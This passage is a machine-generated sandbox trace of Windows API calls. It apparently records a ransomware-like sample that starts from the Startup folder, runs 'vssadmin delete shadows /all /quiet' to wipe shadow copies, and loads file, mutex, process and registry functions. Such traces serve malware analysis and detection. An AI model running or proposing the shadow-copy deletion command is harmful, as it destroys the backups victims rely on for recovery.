dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0037.369] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.369] GetFileType (hFile=0xe8) returned 0x3 [0037.369] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.370] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.370] _get_osfhandle (_FileHandle=1) returned 0xf4 [0037.370] GetFileType (hFile=0xf4) returned 0x3 [0037.370] _get_osfhandle (_FileHandle=1) returned 0xf4 [0037.370] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0037.370] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x20fab8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesWritten=0x20fab8*=0x24, lpOverlapped=0x0) returned 1 [0037.370] GetProcessHeap () returned 0x320000 [0037.370] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x4012) returned 0x33f630 [0037.370] GetProcessHeap () returned 0x320000 [0037.370] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33f630 | out: hHeap=0x320000) returned 1 [0037.370] GetProcessHeap () returned 0x320000 [0037.370] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb0) returned 0x3397e0 [0037.370] GetProcessHeap () returned 0x320000 [0037.370] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x22) returned 0x334610 [0037.371] GetProcessHeap () returned 0x320000 [0037.371] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x48) returned 0x33aa90 [0037.371] GetConsoleOutputCP () returned 0x4e3 [0037.372] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a85bfe0 | out: lpCPInfo=0x4a85bfe0) returned 1 [0037.372] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0037.372] GetConsoleTitleW (in: lpConsoleTitle=0x20fa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0037.372] GetProcessHeap () returned 0x320000 [0037.372] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x218) returned 0x339910 [0037.372] GetProcessHeap () returned 0x320000 [0037.372] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x5a) returned 0x339b30 [0037.372] GetProcessHeap () returned 0x320000 [0037.372] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x420) returned 0x339090 [0037.372] SetErrorMode (uMode=0x0) returned 0x0 [0037.372] SetErrorMode (uMode=0x1) returned 0x0 [0037.372] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3390a0, lpFilePart=0x20f300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f300*="Desktop") returned 0x25 [0037.372] SetErrorMode (uMode=0x0) returned 0x1 [0037.372] GetProcessHeap () returned 0x320000 [0037.372] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x339090, Size=0x6e) returned 0x339090 [0037.372] GetProcessHeap () returned 0x320000 [0037.372] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x339090) returned 0x6e [0037.372] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0037.373] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0037.373] GetProcessHeap () returned 0x320000 [0037.373] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x128) returned 0x335b70 [0037.373] GetProcessHeap () returned 0x320000 [0037.373] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x240) returned 0x321ab0 [0037.373] GetProcessHeap () returned 0x320000 [0037.373] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x321ab0, Size=0x12a) returned 0x321ab0 [0037.373] GetProcessHeap () returned 0x320000 [0037.373] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x321ab0) returned 0x12a [0037.373] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0037.373] GetProcessHeap () returned 0x320000 [0037.373] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xe8) returned 0x339db0 [0037.373] GetProcessHeap () returned 0x320000 [0037.373] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x339db0, Size=0x7e) returned 0x339db0 [0037.373] GetProcessHeap () returned 0x320000 [0037.373] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x339db0) returned 0x7e [0037.373] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0037.373] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x20f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f070) returned 0xffffffffffffffff [0037.373] GetLastError () returned 0x2 [0037.373] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x20f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f070) returned 0xffffffffffffffff [0037.374] GetLastError () returned 0x2 [0037.374] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0037.374] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x20f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f070) returned 0x339ba0 [0037.374] FindClose (in: hFindFile=0x339ba0 | out: hFindFile=0x339ba0) returned 1 [0037.374] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x20f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f070) returned 0xffffffffffffffff [0037.374] GetLastError () returned 0x2 [0037.374] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x20f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f070) returned 0x339ba0 [0037.374] FindClose (in: hFindFile=0x339ba0 | out: hFindFile=0x339ba0) returned 1 [0037.374] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0037.374] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0037.374] GetConsoleTitleW (in: lpConsoleTitle=0x20f5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0037.375] GetProcessHeap () returned 0x320000 [0037.375] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x21c) returned 0x339110 [0037.375] GetConsoleTitleW (in: lpConsoleTitle=0x339120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0037.375] GetProcessHeap () returned 0x320000 [0037.375] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x339110, Size=0xc0) returned 0x339110 [0037.375] GetProcessHeap () returned 0x320000 [0037.375] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x339110) returned 0xc0 [0037.375] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0037.375] GetProcessHeap () returned 0x320000 [0037.375] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x339110 | out: hHeap=0x320000) returned 1 [0037.375] InitializeProcThreadAttributeList (in: lpAttributeList=0x20f378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20f338 | out: lpAttributeList=0x20f378, lpSize=0x20f338) returned 1 [0037.376] UpdateProcThreadAttribute (in: lpAttributeList=0x20f378, dwFlags=0x0, Attribute=0x60001, lpValue=0x20f328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20f378, lpPreviousValue=0x0) returned 1 [0037.376] GetStartupInfoW (in: lpStartupInfo=0x20f490 | out: lpStartupInfo=0x20f490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0037.376] GetProcessHeap () returned 0x320000 [0037.376] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x20) returned 0x334640 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.376] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0037.377] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0037.377] GetProcessHeap () returned 0x320000 [0037.377] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x334640 | out: hHeap=0x320000) returned 1 [0037.377] GetProcessHeap () returned 0x320000 [0037.377] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x12) returned 0x338900 [0037.377] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x20f3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20f360 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x20f360*(hProcess=0x50, hThread=0x54, dwProcessId=0x81c, dwThreadId=0x82c)) returned 1 [0038.381] CloseHandle (hObject=0x54) returned 1 [0038.381] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0038.381] GetProcessHeap () returned 0x320000 [0038.381] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33eb10 | out: hHeap=0x320000) returned 1 [0038.381] GetEnvironmentStringsW () returned 0x33eb10* [0038.381] GetProcessHeap () returned 0x320000 [0038.381] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb0e) returned 0x33f630 [0038.381] FreeEnvironmentStringsW (penv=0x33eb10) returned 1 [0038.381] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x20ec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x20ec68, ReturnLength=0x0) returned 0x0 [0038.381] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdd000, lpBuffer=0x20eca0, nSize=0x380, lpNumberOfBytesRead=0x20ec60 | out: lpBuffer=0x20eca0*, lpNumberOfBytesRead=0x20ec60*=0x380) returned 1 [0038.381] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x33130000" os_pid = "0x65c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa60" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0x80c Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x32059000" os_pid = "0x81c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa60" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x82c Thread: id = 22 os_tid = 0x84c Thread: id = 23 os_tid = 0x87c Thread: id = 24 os_tid = 0x88c Thread: id = 25 os_tid = 0x89c Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x2da21000" os_pid = "0x8ac" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00071207" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 26 os_tid = 0x91c Thread: id = 27 os_tid = 0x90c Thread: id = 28 os_tid = 0x8fc Thread: id = 29 os_tid = 0x8ec [0050.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfdca0 | out: lpSystemTimeAsFileTime=0xcfdca0*(dwLowDateTime=0x288d0f80, dwHighDateTime=0x1d5e206)) [0050.260] GetCurrentProcessId () returned 0x8ac [0050.260] GetCurrentThreadId () returned 0x8ec [0050.260] GetTickCount () returned 0x115600b [0050.260] QueryPerformanceCounter (in: lpPerformanceCount=0xcfdca8 | out: lpPerformanceCount=0xcfdca8*=19197528340) returned 1 [0050.260] malloc (_Size=0x100) returned 0x28e80 Thread: id = 30 os_tid = 0x8dc Thread: id = 31 os_tid = 0x8cc Thread: id = 32 os_tid = 0x8bc Thread: id = 33 os_tid = 0x98c Thread: id = 40 os_tid = 0x6f4 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x2c928000" os_pid = "0x93c" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00071e1d" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 34 os_tid = 0x9ac Thread: id = 35 os_tid = 0x99c Thread: id = 36 os_tid = 0x97c Thread: id = 37 os_tid = 0x96c Thread: id = 38 os_tid = 0x95c Thread: id = 39 os_tid = 0x94c Process: id = "7" image_name = "dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" page_root = "0x7aea0000" os_pid = "0x4e4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x138" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e909" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 41 os_tid = 0x4e8 [0120.161] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75080000 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="GetProcAddress") returned 0x75091222 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="GetModuleHandleW") returned 0x750934b0 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="FindNextFileW") returned 0x750954ee [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="FindClose") returned 0x75094442 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="MoveFileW") returned 0x750a9af0 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="GetFileSizeEx") returned 0x750959e2 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="GetModuleFileNameW") returned 0x75094950 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="GetFileAttributesW") returned 0x75091b18 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="ExitProcess") returned 0x75097a10 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="GetCommandLineW") returned 0x75095223 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="GetComputerNameW") returned 0x7509dd0e [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="GetComputerNameA") returned 0x750ab6e0 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="CreateMutexW") returned 0x7509424c [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="lstrlenW") returned 0x75091700 [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="lstrlenA") returned 0x75095a4b [0120.162] GetProcAddress (hModule=0x75080000, lpProcName="GetCurrentProcess") returned 0x75091809 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="WaitForSingleObject") returned 0x75091136 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="GetLogicalDrives") returned 0x75095371 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="GetTickCount") returned 0x7509110c [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="DeleteFileW") returned 0x750989b3 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="WideCharToMultiByte") returned 0x7509170d [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75091916 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="Sleep") returned 0x750910ff [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="LeaveCriticalSection") returned 0x774e2270 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="ReadFile") returned 0x75093ed3 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="CreateFileW") returned 0x75093f5c [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="OpenMutexW") returned 0x75095151 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="EnterCriticalSection") returned 0x774e22b0 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="WaitForMultipleObjects") returned 0x75094220 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="lstrcmpiW") returned 0x750ad5cd [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="lstrcmpiA") returned 0x75093e8e [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="DeleteCriticalSection") returned 0x774f45f5 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="ReleaseMutex") returned 0x7509111e [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="CloseHandle") returned 0x75091410 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="GetVersion") returned 0x75094467 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="CreateThread") returned 0x750934d5 [0120.163] GetProcAddress (hModule=0x75080000, lpProcName="ExpandEnvironmentStringsW") returned 0x75094173 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="QueryPerformanceCounter") returned 0x75091725 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="QueryPerformanceFrequency") returned 0x750941f0 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="GetCurrentProcessId") returned 0x750911f8 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="SetFileAttributesW") returned 0x750ad4f7 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="GetVolumeInformationW") returned 0x750ac860 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="WriteFile") returned 0x75091282 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="SetFilePointerEx") returned 0x750ac807 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="SetEndOfFile") returned 0x750ace2e [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="FindFirstFileW") returned 0x75094435 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="GetProcessHeap") returned 0x750914e9 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="HeapReAlloc") returned 0x77501f6e [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="HeapAlloc") returned 0x774ee026 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="HeapFree") returned 0x750914c9 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="CreatePipe") returned 0x7511415b [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="SetHandleInformation") returned 0x750a195c [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="CreateProcessW") returned 0x7509103d [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="CompareStringW") returned 0x75093bca [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="CompareStringA") returned 0x75093c5a [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="OpenProcess") returned 0x75091986 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="TerminateProcess") returned 0x750ad802 [0120.164] GetProcAddress (hModule=0x75080000, lpProcName="GetSystemTime") returned 0x75095a96 [0120.165] GetProcAddress (hModule=0x75080000, lpProcName="SystemTimeToFileTime") returned 0x75095a7e [0120.165] GetProcAddress (hModule=0x75080000, lpProcName="GetLastError") returned 0x750911c0 [0120.165] GetProcAddress (hModule=0x75080000, lpProcName="CreateToolhelp32Snapshot") returned 0x750b735f [0120.165] GetProcAddress (hModule=0x75080000, lpProcName="Process32NextW") returned 0x750b896c [0120.165] GetProcAddress (hModule=0x75080000, lpProcName="Process32FirstW") returned 0x750b8baf [0120.165] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75eb0000 [0120.176] GetProcAddress (hModule=0x75eb0000, lpProcName="RegOpenKeyExW") returned 0x75ec468d [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="RegQueryValueExW") returned 0x75ec46ad [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="RegSetValueExW") returned 0x75ec14d6 [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="RegCloseKey") returned 0x75ec469d [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="OpenProcessToken") returned 0x75ec4304 [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="GetTokenInformation") returned 0x75ec431c [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="OpenSCManagerW") returned 0x75ebca64 [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="OpenServiceW") returned 0x75ebca4c [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="CloseServiceHandle") returned 0x75ec369c [0120.177] GetProcAddress (hModule=0x75eb0000, 